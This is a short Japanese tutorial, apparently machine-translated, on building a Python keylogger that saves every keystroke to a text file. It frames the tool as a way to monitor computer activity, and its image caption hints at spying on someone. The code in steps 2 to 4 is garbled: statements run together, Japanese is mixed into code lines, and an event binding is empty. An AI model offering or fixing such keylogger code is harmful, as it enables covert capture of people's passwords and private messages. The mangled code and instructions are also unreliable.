Pythonを使用してキーロガーを作成する方法

彼女の肩越しに見ているコンピューターで女性

キーストロークをキャプチャしてファイルに保存します。

画像クレジット: Jupiterimages / Photos.com / Getty Images

Pythonを使用してキーロガープログラムを作成し、コンピューターのキーボードから入力したキーストロークをキャプチャできます。 キーストロークはテキストファイルに保存され、すべての入力が記録されます。 キーロガーを使用して、コンピューターのアクティビティを監視できます。

ステップ1

IDLEを起動し、[ファイル]メニューをクリックし、[新しいウィンドウ]を選択して新しいウィンドウを起動します。 CtrlキーとSキーを押して、[名前を付けて保存]ウィンドウを起動します。 ファイル名として「getKeyLogger」を使用し、「保存」をクリックします。

今日のビデオ

ステップ2

次のコード行を追加して、「Tkinter」名前空間をインポートし、ログに記録するファイルのパスを定義します。

TkinterをtkmyFile = open( "C:/temp/keyFile.txt"、 "w")としてインポートします

ステップ3

次のコードをコピーして貼り付け、すべてのキーストロークをファイルに保存します。

def keypress(event):if event.keysym == 'Escape':main.destroy()keyPressed = event.char myFile.write(keyPressed)

ステップ4

次のコードを追加して、ユーザーが入力を開始できること、およびEscキーを押してプログラムを終了できることをユーザーに知らせます。

main = tk。 Tk()print "任意のキーを押します(終了するにはEscキー):" main.bind_all( ''、keypress)main.withdraw()main.mainloop()myFile.close()

ステップ5

「Windows」スタートボタンをクリックし、「プログラムとファイルの検索」ボックスに「cmd」と入力します。 Enterキーを押して、コマンドプロンプトを開きます。 「C:\ Python」に移動します「」と入力し、「pythongetKeyLogger」と入力します。Enterキーを押してプログラムを実行します。 「C:/ temp /」に移動し、「keyFile.txt」をダブルクリックしてキーストロークデータを表示します。